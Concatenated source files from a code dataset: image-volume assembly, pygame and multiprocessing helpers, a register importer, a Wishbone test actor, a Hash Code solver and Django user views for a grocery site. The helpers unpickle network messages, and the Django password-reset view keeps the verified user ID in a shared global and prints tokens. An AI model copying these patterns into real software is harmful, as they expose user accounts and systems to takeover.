np\nfrom collections import OrderedDict\nimport scipy.signal\nfrom util import util\nfrom skimage.exposure import match_histograms\nfrom skimage import exposure\nimport data\nimport torch\n\nclass Assemble_Dice():\n def __init__(self, opt):\n dataset_class = data.find_dataset_using_name(opt.dataset_mode)\n dataset_tolook_shape = dataset_class(opt)\n self.image_size_original = dataset_tolook_shape.size_original() # return the image size before padding.\n self.image_size = dataset_tolook_shape.size() # Get the y,x,z volume sizes of the image volume.\n self.border_cut = opt.border_cut\n\n self.roi_size = opt.dice_size[0]\n self.overlap = opt.overlap\n self.step = self.roi_size - self.overlap\n\n self.z_steps = (self.image_size[0]-self.overlap)//self.step\n self.y_steps = (self.image_size[1]-self.overlap)//self.step\n self.x_steps = (self.image_size[2]-self.overlap)//self.step\n\n self.visual_ret = OrderedDict()\n self.visual_names = ['real', 'fake']\n self.snapDict = OrderedDict()\n self.cube_queue = OrderedDict()\n self.mask_ret = OrderedDict()\n self.imtype = opt.data_type\n self.skip_real = opt.skip_real\n\n self.histogram_match = opt.histogram_match\n self.normalize_intensity = opt.normalize_intensity\n\n if self.normalize_intensity:\n self.p1, self.p99 = opt.sat_level\n\n\n if self.histogram_match:\n print (\"We will match the histograms of output sub-volumes with input sub-volumes.\")\n\n if self.skip_real:\n print (\"We will skip assembling for the real (input) volume. \")\n\n\n self.len_cube_queue = self.z_steps * self.x_steps * self.y_steps # total number of cubes\n\n # initialize the mapping.\n for name in self.visual_names:\n if self.skip_real and name == 'real':\n pass\n else:\n self.visual_ret[name] =np.zeros(self.image_size, dtype = np.float32)\n self.mask_ret[name] = np.zeros(self.image_size, dtype = np.float32)\n self.cube_queue[name] = []\n\n def indexTo3DIndex(self, index):\n # Dicing order: x-> y-> z\n x_cube_index = index % self.x_steps\n y_cube_index = (index % (self.x_steps*self.y_steps))//self.x_steps\n z_cube_index = (index) // (self.x_steps*self.y_steps)\n\n return z_cube_index, y_cube_index, x_cube_index\n\n def indexToCoordinates(self, index): # converts 1D dicing order to 3D stacking order\n\n # Dicing order: x-> y-> z\n z_cube_index, y_cube_index, x_cube_index = self.indexTo3DIndex(index)\n\n current_z = z_cube_index * (self.step)\n current_y = y_cube_index * (self.step)\n current_x = x_cube_index * (self.step)\n\n return current_z, current_y, current_x\n\n def varycubeinput(self, input):\n # takes visual dictionary and creates a list of augmented copies of the visual.\n data_name = list(input.keys())# TODO: there's a difference between the data names in input and output: A vs. B <-> real vs. fake\n input_visual = input[data_name[0]]\n input_path = input[data_name[1]]\n axis_len = len(input_visual.shape)\n axes = np.arange(2, axis_len)\n\n input_list = []\n input_list.append(input)\n\n for axis in axes: # per axis of flipping, add each augmented copy to a list\n input_dict = OrderedDict()\n axis = int(axis)\n input_dict[data_name[0]] = input_visual.flip(axis)\n input_dict[data_name[1]] = input_path\n input_list.append(input_dict)\n # In dict_list, every item is an augmented copy by each augmentation parameter.\n\n return input_list\n\n def combinecube(self, visual_list):\n visual_dict_sample = visual_list[0]\n keys = list(visual_dict_sample.keys())\n axis_len = len(visual_dict_sample[keys[0]].shape)\n axes = np.arange(2, axis_len)\n\n dict_list = []\n dict_list.append(visual_list[0]) # include the unchanged.\n visual_list.pop(0) # remove the unchanged from the list\n\n # dimensions are: cube_variation, batch_num, color_channel, z, y, x\n for i, flip_var in enumerate(visual_list):\n visual_dict = OrderedDict()\n for name in keys:\n axis = int(axes[i])\n visual_dict[name] = flip_var[name].flip(axis) # unflip them\n dict_list.append(visual_dict)\n\n visual_recon_dict = OrderedDict()\n\n for name in keys:\n cube_list = []\n for i, unflip_var in enumerate(dict_list):\n cube_list.append(unflip_var[name])\n\n cube_stack = torch.stack(cube_list, dim=0)\n visual_recon_dict[name] = torch.mean(cube_stack, dim=0)\n\n return visual_recon_dict\n\n def addToStack(self, cube): # Cube is an orderedDict with visual_names as keys.\n cube_dict = OrderedDict()\n for name in self.visual_names:\n image_tensor = cube[name]\n image_numpy_og = image_tensor.cpu().float().numpy() # convert it into a numpy array\n cube_numpy = image_numpy_og.copy()\n\n _, _, h, w, d = cube_numpy.shape # When we add an output cube from the network, it include two extra dimensions: batch_index, color_channel\n cube_numpy = cube_numpy.squeeze() # remove the batch and color channel axis.\n\n cube_numpy = cube_numpy.astype(np.float32) # saves memory\n\n # Remove the border regions to avoid the popping effect.\n cube_numpy = cube_numpy[self.border_cut:-self.border_cut, self.border_cut:-self.border_cut, self.border_cut:-self.border_cut]\n\n assert cube_numpy.shape == (self.roi_size, self.roi_size, self.roi_size), \"the cube dimensions are invalid.\"\n\n cube_dict[name] = cube_numpy\n\n # Perform histogram matching on the output cube to the input cube as post-processing.\n if self.histogram_match:\n cube_dict['fake'] = match_histograms(cube_dict['fake'], cube_dict['real'])\n #\n\n for name in self.visual_names:\n if self.skip_real and name == 'real':\n pass\n\n else:\n self.cube_queue[name].append(cube_dict[name])\n\n def assemble_all(self):\n for name in self.visual_names:\n if self.skip_real and name == 'real':\n pass\n else:\n print (\"Patching for... \" + str(name))\n for index, cube in enumerate(self.cube_queue[name]):\n current_z, current_y, current_x = self.indexToCoordinates(index)\n\n # assert cube.dtype == self.imtype, \"Data type of the assembling cubes does not match the given data type. \"\n if self.overlap > 0:\n self.visual_ret[name][current_z:current_z + self.roi_size, current_y:current_y + self.roi_size,\n current_x:current_x + self.roi_size] += cube/8 # divide by 4 to prevent the overflowing.\n self.mask_ret[name][current_z:current_z + self.roi_size, current_y:current_y + self.roi_size,\n current_x:current_x + self.roi_size] += np.ones((self.roi_size,self.roi_size,self.roi_size), dtype = np.float32)\n if cube.shape != (self.roi_size, self.roi_size, self.roi_size):\n raise Exception('The cube does not have the proper size.')\n\n print (\"done patching the cubes for {} image volume.\".format(str(name)))\n\n if self.overlap > 0:\n print(\"merging all gaps by linear averaging for {} image volume...\".format(str(name)))\n\n self.visual_ret[name] = (self.visual_ret[name]/self.mask_ret[name])*8 # multiply by 4 to recover the original values without overflowing from earlier.\n print(\"All gaps merged for {} image volume.\".format(str(name)))\n\n print (\"For debug: maximum iterations of overlaps: \" + str(np.max(self.mask_ret[name])))\n\n\n if self.normalize_intensity:\n p1_, p99_ = np.percentile(self.visual_ret[name], (self.p1, self.p99))\n self.visual_ret[name] = exposure.rescale_intensity(self.visual_ret[name], in_range=(p1_, p99_))\n\n ## convert the datatype\n if self.imtype == 'uint8':\n # self.visual_ret[name] *= self.img_std\n # self.visual_ret[name] += self.img_mean # then the image is scaled to 0-1.\n\n self.visual_ret[name] *= 255\n self.visual_ret[name] = self.visual_ret[name].astype(np.uint8)\n\n if self.imtype == 'uint16':\n # self.visual_ret[name] *= self.img_std\n # self.visual_ret[name] += self.img_mean # then the image is scaled to 0-1.\n\n self.visual_ret[name] *= 2 ** 16 - 1\n self.visual_ret[name] = self.visual_ret[name].astype(np.uint16)\n\n # crop the regions that were padded for clean-cut dicing.\n if self.image_size_original is not None:\n padders_ = [self.image_size[i] - self.image_size_original[i] for i in range(len(self.image_size))]\n print(\"Image cropped to revert back to the original size by: \" + str(padders_))\n self.visual_ret[name] = self.visual_ret[name][:-padders_[0], :-padders_[1], :-padders_[2]]\n\n # tells you if the index corresponds to a cube outside the boundary of the whole image.\n def if_overEdge(self, index):\n z_cube_index, y_cube_index, x_cube_index = self.indexTo3DIndex(index)\n\n z_over = z_cube_index > self.z_steps or z_cube_index < 0\n y_over = y_cube_index > self.y_steps or y_cube_index < 0\n x_over = x_cube_index > self.x_steps or x_cube_index < 0\n all_over = index > (self.len_cube_queue-1)\n\n return z_over or y_over or x_over or all_over\n\n # slice image across z-depth\n def getSnapshots(self, index, slice_axis=2):\n for name in self.visual_names:\n if slice_axis ==0:\n self.snapDict[name] = self.visual_ret[name][index, :, :]\n if slice_axis ==1:\n self.snapDict[name] = self.visual_ret[name][:, index, :]\n if slice_axis ==2:\n self.snapDict[name] = self.visual_ret[name][:,:,index]\n return self.snapDict\n\n def getDict(self):\n return self.visual_ret\n\n def getMaskRet(self):\n return self.mask_ret['real']\n\n def getCubeQueue(self):\n return self.cube_queue\n","sub_path":"util/assemble_dice.py","file_name":"assemble_dice.py","file_ext":"py","file_size_in_byte":10687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"89990607","text":"import multiprocessing\nimport os\nimport pickle\nimport time\nfrom functools import wraps\n\nimport pygame\n\n\ndef handle_quit(event):\n pressed_keys = pygame.key.get_pressed()\n\n alt_pressed = pressed_keys[pygame.K_LALT] or pressed_keys[pygame.K_RALT]\n alt_f4 = alt_pressed and event.type == pygame.KEYDOWN and event.key == pygame.K_F4\n\n escape = event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE\n\n x_button = event.type == pygame.QUIT\n\n return x_button or alt_f4 or escape\n\n\ndef scheduler_timer(f):\n @wraps(f)\n def wrap(*args, **kwargs):\n start_time, start_clock = time.time(), time.perf_counter()\n result = f(*args, **kwargs)\n\n print(f\"Before: Time: {start_time} - Clock: {start_clock}\")\n print(f\"After: Time: {time.time()} - Clock: {time.perf_counter()}\")\n return result\n\n return wrap\n\n\ndef threader(target, jobs, pool_size):\n results_list = list()\n\n jobs_queue = multiprocessing.Queue()\n results_queue = multiprocessing.Queue()\n\n pool = [\n multiprocessing.Process(target=target, args=(jobs_queue, results_queue))\n for _ in range(pool_size)\n ]\n\n for p in pool:\n p.start()\n\n for i in jobs:\n jobs_queue.put(i)\n\n for _ in pool:\n jobs_queue.put(None)\n\n for p in pool:\n p.join()\n\n while not results_queue.empty():\n result = results_queue.get()\n results_list.append(result)\n\n return results_list\n\n\ndef clean_terminal():\n os.system(\"cls\") if \"nt\" in os.name else os.system(\"clear\")\n\n\ndef prettify(value):\n \"\"\"\n bytes to gb\n \"\"\"\n return round(value / (1024 * 1024 * 1024), 2)\n\n\ndef encode_commands(message):\n return pickle.dumps(message)\n\n\ndef decode_message(raw_message):\n commands = []\n for command, args in pickle.loads(raw_message):\n commands.append((command, args))\n\n return commands\n\n\ndef encode_message(raw_message):\n return pickle.dumps(raw_message)\n\n\ndef decode_response(raw_messages, commands):\n results = []\n\n messages = pickle.loads(raw_messages)\n for raw_message, command in zip(messages, commands):\n if isinstance(raw_message, str):\n message = raw_message.decode()\n else:\n message = raw_message\n\n results.append((command, message))\n return results\n","sub_path":"src/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"527293236","text":"from lxml import etree\n\nfrom business_register.converter.business_converter import BusinessConverter\nfrom business_register.models.company_models import Company, FounderNew, FounderFull\n\ndef add_founders_info(records):\n for record in records:\n company_edrpou_info = record.xpath('EDRPOU')\n if not company_edrpou_info:\n return\n company_edrpou = company_edrpou_info[0].text\n if not company_edrpou:\n return\n company = Company.objects.filter(edrpou=company_edrpou).first()\n if not company:\n return\n founder_name_info = record.xpath('FOUNDER_NAME')\n if not founder_name_info:\n return\n founder_name = founder_name_info[0].text\n if not founder_name:\n return\n founder_code = None\n founder_code_info = record.xpath('FOUNDER_CODE')\n if founder_code_info:\n founder_code = founder_code_info[0].text\n founder_edrpou = None\n # ignoring personal data according to the law\n if founder_code and len(founder_code) == 8:\n founder_edrpou = founder_code\n founder_equity = None\n founder_equity_info = record.xpath('FOUNDER_EQUITY')\n if founder_equity_info:\n founder_equity = founder_equity_info[0].text\n if founder_equity:\n founder_equity = float(founder_equity.replace(',', '.'))\n if FounderNew.objects.filter(name=founder_name, company=company).first():\n continue\n else:\n founder_new = FounderNew(name=founder_name, edrpou=founder_edrpou,\n equity=founder_equity, company=company)\n founder_new.save()\n\n\nclass FoundersUpdater(BusinessConverter):\n LOCAL_FILE_NAME = ''\n CHUNK_SIZE = 500\n RECORD_TAG = 'DATA_RECORD'\n record = []\n\n def parse_file(self):\n i = 0\n records = etree.Element('RECORDS')\n for _, elem in etree.iterparse(self.LOCAL_FILE_NAME, tag=self.RECORD_TAG, recover=True):\n if len(records) < self.CHUNK_SIZE:\n records.append(elem)\n else:\n add_founders_info(records)\n records.clear()\n i += 1\n print(f'N{i}')\n print('All the records checked')\n","sub_path":"business_register/converter/additional_uo.py","file_name":"additional_uo.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"646934151","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# testevent.py\n#\n# Copyright 2014 Jelle Smet \n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n#\n#\n\nfrom wishbone import Actor\nfrom gevent import sleep\n\n\nclass TestEvent(Actor):\n\n '''**Generates a test event at the chosen interval.**\n\n\n Events have following format:\n\n { \"header\":{}, \"data\":\"test\" }\n\n Parameters:\n\n - name(str)\n | The name of the module.\n\n - size(int)\n | The default max length of each queue.\n\n - frequency(int)\n | The frequency in seconds to generate metrics.\n\n - interval(float)(1)\n | The interval in seconds between each generated event.\n | A value of 0 means as fast as possible.\n\n - message(string)(\"test\")\n | The content of the test message.\n\n - numbered(bool)\n | When true, appends a sequential number to the end.\n\n\n Queues:\n\n - outbox\n | Contains the generated events.\n '''\n\n def __init__(self, name, size=100, frequency=1, interval=1, message=\"test\", numbered=False):\n Actor.__init__(self, name, size, frequency)\n self.name = name\n self.interval = interval\n self.message = message\n self.numbered = numbered\n\n self.pool.createQueue(\"outbox\")\n\n if interval == 0:\n self.sleep = self.__doNoSleep\n else:\n self.sleep = self.__doSleep\n\n if numbered:\n self.number = self.__doNumber\n self.n = 0\n else:\n self.number = self.__doNoNumber\n\n def preHook(self):\n self.threads.spawn(self.produce)\n\n def produce(self):\n\n while self.loop():\n event = {\"header\": {}, \"data\": \"%s%s\" % (self.message, self.number())}\n self.submit(event, self.pool.queue.outbox)\n self.sleep()\n\n self.logging.info(\"Stopped producing events.\")\n\n def __doSleep(self):\n sleep(self.interval)\n\n def __doNoSleep(self):\n pass\n\n def __doNumber(self):\n self.n += 1\n return \"_%s\" % (self.n)\n\n def __doNoNumber(self):\n return \"\"\n","sub_path":"wishbone/module/testevent.py","file_name":"testevent.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514634825","text":"import numpy as np\nimport matplotlib.pyplot as plt #importation des bibliothèques nécessaires au graphes\nfrom math import sqrt #et ici de la racine carrée\n\n\n\ny = [] #Creation d'un tableau qui contiendra les valeurs des ordonnés\nx = [] #idem pour les abscisses\n\n\n\ndef f(x): #fonction qui parle d'elle meme\n return 3+1/x\n\ndef rec(i): #fonction necessaire a la creation du graphe\n G = 3 # ordonné commencant a 3 \n y.append(G)#ajoute une case au tableau qui vaut G\n x.append(0)\n print(0,G)#affiche les valeurs 0 et la valeur de G (ici 3) dans la console\n for n in range(1,i):\n G = f(G)\n y.append(G)\n x.append(n)\n print(n,G)#ici des valeurs de n et G\n return G,x,y #tableaux necessaires par la suite pour faire le graphe.\n\nG,x,y = rec(10)\n\nplt.plot(x, y, 'r-')#configuration du graphe.\nplt.show() #puis affichage.\n\n","sub_path":"DM.py","file_name":"DM.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"440062257","text":"\n\nclass SamplerBase(object):\n\n def __init__(self, dist_func, K, r = 1.0):\n '''\n self.sampled contains pairs of (element, contribution). Contribution is\n used to pick the element closest to other elements. The higher the\n closer.\n\n @param dist_func is a function that computes the distance between two\n objects.\n @param K, number of samples to return\n @param r, sampling probability; used to remove outliers\n '''\n self.dist_func = dist_func\n self.K = K\n self.sampled = []\n self.r = r\n\n","sub_path":"Python/sampler_base.py","file_name":"sampler_base.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"425424825","text":"from sys import argv\n\nfile_name = argv[1]\n\n\nclass Library:\n def read(self, f, i):\n b, signup, per_day = [int(i) for i in f.readline().split(' ')]\n self.b = b\n self.signup = signup\n self.per_day = per_day\n self.books = [int(i) for i in f.readline().split(' ')]\n self.id = i\n return self\n\n def __str__(self):\n return f'Library #{self.id} -> (books: {self.b}, signup: {self.signup}, delivery per day: {self.per_day}'\n\n def __repr__(self):\n return f'Library #{self.id} -> (books: {self.b}, signup: {self.signup}, delivery per day: {self.per_day})'\n\ndef read_input():\n global file_name\n libraries = []\n\n with open(file_name, 'r') as f:\n b, l, d = [int(i) for i in f.readline().split(' ')]\n books = [int(i) for i in f.readline().split(' ')]\n for i in range(l):\n lib = Library().read(f, i)\n if lib.signup >= d:\n continue\n libraries.append(lib)\n\n for lib in libraries:\n lib.books.sort(key=lambda k: -books[k])\n return libraries, b, l, d, books\n\ndef run(libraries, b, l, d, books):\n day = 0\n index = 0\n while day < d and index < l:\n day += libraries[index].signup\n libraries[index].go_from = day\n index += 1\n out = []\n seen = set()\n for j in range(index):\n lib = libraries[j]\n books_can_go = lib.books[:min((day - lib.go_from) * lib.per_day, lib.b)]\n if len(books_can_go) == 0:\n continue\n out.append((lib.id, books_can_go))\n seen = set(list(seen) + books_can_go)\n return sum(books[i] for i in seen), out\n\n\ndef write(out):\n global file_name, books\n with open(f'{file_name[0]}.out', 'w+') as f:\n f.write(str(len(out)) + '\\n')\n points = 0\n for x in out:\n if len(x[1]) == 0:\n continue\n f.write(f'{x[0]} {len(x[1])}\\n')\n f.write(' '.join(str(i) for i in x[1]))\n f.write('\\n')\n points += sum(books[i] for i in x[1])\n\n\nif __name__ == '__main__':\n books_taken = set()\n libraries, b, l, d, books = read_input()\n from random import shuffle\n my_best = 0\n for i in range(10000):\n shuffle(libraries)\n value, out = run(libraries, b, l, d, books)\n if my_best < value:\n my_best = value\n print(f'{value}/{sum(books)}')\n write(out)\n # day = 0\n # index = 0\n # while day < d and index < l:\n # day += libraries[index].signup\n # libraries[index].go_from = day\n # index += 1\n # out = []\n # for j in range(index):\n # lib = libraries[j]\n # books_can_go = lib.books[:min((day - lib.go_from) * lib.per_day, lib.b)]\n # if len(books_can_go) == 0:\n # print('continued')\n # continue\n # out.append((lib.id, books_can_go))\n # with open(f'{file_name[0]}.out', 'w+') as f:\n # f.write(str(len(out)) + '\\n')\n # points = 0\n # seen = set()\n # for x in out:\n # if len(x[1]) == 0:\n # continue\n # f.write(f'{x[0]} {len(x[1])}\\n')\n # f.write(' '.join(str(i) for i in x[1]))\n # f.write('\\n')\n # # import code\n # # code.interact(local=dict(globals(), **locals()))\n # seen = set(x[1] + list(seen))\n # points += sum(books[i] for i in x[1])\n # print(f'Got {sum(books[i] for i in seen)}/{sum(books)}.')\n\n","sub_path":"GHC/2020/real/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"352144237","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse # 请求模块\nfrom django.core.urlresolvers import reverse\nfrom django.views.generic import View\nfrom user.models import User, Area, City, Province, Address\nfrom PIL import Image, ImageDraw, ImageFont, ImageFilter # 验证码模块\nfrom itsdangerous import TimedJSONWebSignatureSerializer as TJSS, SignatureExpired, BadSignature # 加密模块\nfrom django.core.mail import send_mail\nfrom daiyfresh import settings\nfrom django.contrib.auth import authenticate, login, logout\nfrom celery_tasks.tasks import task_send_mail\nfrom utils.user_utils import LoginRequiredMixin # 多继承\nfrom goods.models import *\nimport re\nimport random\nfrom redis import StrictRedis\n\n# 注册和注册验证\nclass RegisterView(View):\n def get(self, request):\n return render(request, 'register.html')\n\n def post(self, request):\n user_name = request.POST.get('user_name').strip()\n pwd = request.POST.get('pwd').strip()\n cpwd = request.POST.get('cpwd').strip()\n email = request.POST.get('email').strip()\n allow = request.POST.get('allow').strip()\n\n # if all([user_name, pwd, cpwd, email]):\n # return render(request, 'register.html', {'error': '数据不完整'})\n\n if len(user_name) <= 4 or len(user_name) > 20:\n return render(request, 'register.html', {'error': '用户名6-20位'})\n if len(pwd) <= 7 or len(pwd) > 20:\n return render(request, 'register.html', {'error': '密码8-20位'})\n if pwd != cpwd:\n return render(request, 'register.html', {'error': '2次密码不一致'})\n if re.match(r'^[a-zA-Z0-9]{5,12}@(163|126|qq)\\.com$', email) == None:\n return render(request, 'register.html', {'error': '邮箱错误'})\n if allow == None:\n return render(request, 'register.html', {'error': '请勾选'})\n else:\n user = User.objects.create_user(user_name, email, pwd)\n\n user.is_active = 0\n user.save()\n\n user = User.objects.get(username=user_name)\n # 加密用户身份\n tjss = TJSS(settings.SECRET_KEY, 3600)\n toke = tjss.dumps({'confirm': user.id}).decode('utf-8')\n encryption_url = 'http://192.168.12.167:8000/user/active/%s' % toke\n\n # 发邮件\n subject = '天天生鲜欢迎1' # 主题\n message = '1' # 文本信息\n sender = settings.EMAIL_FROM # 发件人\n receiver = [email] # 收件人\n html_message = '

    %s

    ,欢迎您成为天天生鲜注册用户请点击下面链接激活用户
    %s' % (\n user_name, encryption_url, encryption_url)\n # send_mail(subject, message, sender, receiver, html_message=html_message) # 发送\n task_send_mail.delay(subject, message, sender, receiver, html_message)\n\n print(encryption_url)\n return HttpResponse('请去邮箱激活账号')\n\n\n# 判断邮箱链接是否合法\nclass ActiveView(View):\n def get(self, request, token):\n tjss = TJSS(settings.SECRET_KEY, 3600)\n try:\n info = tjss.loads(token)\n # 获取id\n user_id = info['confirm']\n # 根据id获取用户信息\n user = User.objects.get(id=user_id)\n user.is_active = 1\n user.save()\n return redirect(reverse('user:login'))\n except SignatureExpired as e:\n return HttpResponse('激活链接已过期')\n except BadSignature as e:\n return HttpResponse('激活链接非法')\n\n\n# 异步验证用户名\ndef Reginster_ajax(request):\n user_name = request.GET.get('user_name')\n user = User.objects.filter(username=user_name)\n if len(user) == 0:\n return HttpResponse('')\n else:\n return HttpResponse('账号已存在')\n\n\n# 登录验证\nclass LoginView(View):\n def get(self, request):\n remember_user_name = request.COOKIES.get('remember_user_name')\n if remember_user_name == None:\n remember_user_name = ''\n return render(request, 'login.html', {'user_name': remember_user_name})\n\n def post(self, request):\n # 获取输入的账号 密码 验证码\n user_name = request.POST.get('username')\n user_pwd = request.POST.get('pwd')\n verify = request.POST.get('verify')\n Remember = request.POST.get('Remember')\n\n # 验证码判断\n imgs = request.session['verifycode']\n imgs = imgs.lower()\n verify = verify.lower()\n if imgs != verify:\n return render(request, 'login.html',\n {'error': '验证错误', 'user_name': user_name, 'user_pwd': user_pwd, 'verify': verify})\n # 账号 密码判断\n user = authenticate(username=user_name, password=user_pwd)\n if user is not None:\n if User.is_active:\n login(request, user)\n new = User.objects.get(username=user_name)\n next_url = request.GET.get('next')\n if next_url:\n ret = redirect(next_url)\n else:\n ret = redirect(reverse('goods:index'))\n if Remember == '1':\n ret.set_cookie(\"remember_user_name\", user_name, 3600 * 24 * 7)\n else:\n ret.set_cookie(\"remember_user_name\", user_name, -10)\n return ret\n else:\n return render(request, 'login.html',\n {'error': '邮箱未激活', 'user_name': user_name, 'user_pwd': user_pwd, 'verify': verify})\n else:\n return render(request, 'login.html',\n {'error': '账号密码错误', 'user_name': user_name, 'user_pwd': user_pwd, 'verify': verify})\n\n\n# 修改密码验证\nclass Forgetpwd(View):\n def get(self, request):\n return render(request, 'forgetpwd.html')\n\n def post(self, request):\n user_name = request.POST.get('username')\n email = request.POST.get('email')\n try:\n user = User.objects.get(username=user_name)\n except Exception as e:\n print(e)\n return render(request, 'forgetpwd.html', {'error': '用户名错误'})\n if user.email != email:\n return render(request, 'forgetpwd.html', {'error_1': '邮箱错误'})\n # 加密身份\n tjss = TJSS(settings.SECRET_KEY, 3600 * 2)\n user_id = tjss.dumps({'confirm': user.id}).decode('utf-8')\n user_url = 'http://192.168.12.167:8000/user/amend?token=%s' % user_id\n # 发邮件\n subject = '天天生鲜' # 主题\n message = '' # 文本信息\n sender = settings.EMAIL_FROM # 发件人\n receiver = [email] # 收件人\n html_message = '

    %s

    ,欢迎您使用请点击下面链接修改密码
    %s' % (\n user_name, user_url, user_url)\n\n # send_mail(subject, message, sender, receiver, html_message=html_message) # 发送\n task_send_mail.delay(subject, message, sender, receiver, html_message)\n\n print(user_url)\n return HttpResponse('请去邮箱验证')\n\n\n# 修改密码界面\nclass Amend(View):\n def get(self, request):\n token = request.GET.get('token')\n print(token)\n tjss = TJSS(settings.SECRET_KEY, 3600)\n try:\n info = tjss.loads(token)\n # 获取id\n user_id = info['confirm']\n\n global user_id\n # 根据id获取用户信息\n user = User.objects.get(id=user_id)\n return render(request, 'amend.html')\n except SignatureExpired as e:\n return HttpResponse('激活链接已过期')\n except BadSignature as e:\n return HttpResponse('激活链接非法')\n\n def post(self, request):\n pwd = request.POST.get('user_pwd')\n if len(pwd) <= 7 or len(pwd) > 20:\n return render(request, 'amend.html', {'error': '密码8-20位'})\n user = User.objects.get(id=user_id)\n user.set_password(pwd)\n user.save()\n return redirect(reverse('user:login'))\n\n\n# 安全退出\nclass Loginout(View):\n def get(self, request):\n logout(request)\n # return render(request, 'login.html')\n return redirect(reverse('user:login'))\n\n\n# 个人信息界面\nclass User_center_info(LoginRequiredMixin, View):\n def get(self, request):\n pag = '1'\n user = request.user\n\n #链接redis\n red=StrictRedis(host='192.168.12.167',db=2)\n # 查浏览记录\n history=red.lrange('user_id',0,-1)\n print(history)\n\n goodssku=GoodsSKU.objects.filter(id__in=history)\n print(goodssku)\n\n try:\n addr = Address.objects.get(user_id=user.id,is_default=True)\n str = addr.addr.split('--')\n ret = ''\n for i in str:\n ret += i\n\n return render(request, 'user_center_info.html', {'pag': pag, 'phone': addr.phone, 'addr': ret,'goodssku':goodssku})\n except Exception as e:\n return render(request, 'user_center_info.html', {'pag': pag, 'phone': '没有联系方式', 'addr': '没有联系地址','goodssku':goodssku})\n\n\n# 订单界面\nclass User_center_order(LoginRequiredMixin, View):\n def get(self, request):\n pag = '2'\n return render(request, 'user_center_order.html', {'pag': pag})\n\n\n# 收货地址界面\n\nclass User_center_site(LoginRequiredMixin, View):\n def get(self, request):\n pag = '3'\n user = request.user\n addr = Address.objects.filter(user_id=user.id)\n ls = []\n for i in addr:\n str = i.addr.split(' ')\n ret = ''\n for j in str:\n ret += j + ' '\n ret = ret + ' ' + '(' + i.receiver + ')' + ' ' + ' ' + i.phone\n ls.append(ret)\n try:\n add=Address.objects.get(user_id=user.id,is_default=True)\n get_site=add.addr + ' ' + '(' + add.receiver + ')' + ' ' + ' ' + add.phone\n except Exception as e:\n get_site='无默认地址'\n\n return render(request, 'user_center_site.html', {'pag': pag, 'ls': ls,'get_site':get_site})\n\n\n def post(self, request):\n receiver = request.POST.get('receiver')\n addr = request.POST.get('addr')\n zip_code = request.POST.get('zip_code')\n phone = request.POST.get('phone')\n province_id = request.POST.get('province_id')\n city_id = request.POST.get('city_id')\n area_id = request.POST.get('area_id')\n\n user = request.user\n addr1 = Address.objects.filter(user_id=user.id)\n ls = []\n get_site = ''\n for i in addr1:\n str = i.addr.split(' ')\n ret = ''\n for j in str:\n ret += j + ' '\n ret = ret + ' ' + '(' + i.receiver + ')' + ' ' + ' ' + i.phone\n get_site = ret\n ls.append(ret)\n\n if get_site == '':\n get_site = '无默认地址'\n\n if province_id == '0' :\n return render(request, 'user_center_site.html',\n {'location': '选择省', 'receiver_val': receiver, 'addr_val': addr, 'zip_code_val': zip_code,\n 'phone_val': phone,'ls': ls,'get_site':get_site})\n if city_id == '0':\n return render(request, 'user_center_site.html',\n {'location': '选择市', 'receiver_val': receiver, 'addr_val': addr, 'zip_code_val': zip_code,\n 'phone_val': phone,'ls': ls,'get_site':get_site})\n if area_id == '0':\n return render(request, 'user_center_site.html',\n {'location': '选择区', 'receiver_val': receiver, 'addr_val': addr, 'zip_code_val': zip_code,\n 'phone_val': phone,'ls': ls,'get_site':get_site})\n\n if len(receiver) == 0 or len(receiver) > 10:\n return render(request, 'user_center_site.html',\n {'receiver': '请填写不能超过10位', 'receiver_val': receiver, 'addr_val': addr,\n 'zip_code_val': zip_code, 'phone_val': phone,'ls': ls,'get_site':get_site})\n\n if len(addr) == 70:\n return render(request, 'user_center_site.html',\n {'addr': '不能超过70个字', 'receiver_val': receiver, 'addr_val': addr, 'zip_code_val': zip_code,\n 'phone_val': phone,'ls': ls,'get_site':get_site})\n\n if len(zip_code) != 6:\n return render(request, 'user_center_site.html',\n {'zip_code': '邮箱是6位数', 'receiver_val': receiver, 'addr_val': addr, 'zip_code_val': zip_code,\n 'phone_val': phone,'ls': ls,'get_site':get_site})\n\n if len(phone) != 11:\n return render(request, 'user_center_site.html',\n {'phone': '手机号码是11位', 'receiver_val': receiver, 'addr_val': addr, 'zip_code_val': zip_code,\n 'phone_val': phone,'ls': ls,'get_site':get_site})\n\n if re.match(r'^1(?:3\\d|4[4-9]|5[0-35-9]|6[67]|7[013-8]|8\\d|9\\d)\\d{8}$', phone) == None:\n return render(request, 'user_center_site.html',\n {'phone': '手机号错误', 'receiver_val': receiver, 'addr_val': addr, 'zip_code_val': zip_code,\n 'phone_val': phone,'ls': ls,'get_site':get_site})\n\n user = request.user\n\n province = Province.objects.get(id=province_id)\n city = City.objects.get(id=city_id)\n area = Area.objects.get(id=area_id)\n site_fit = 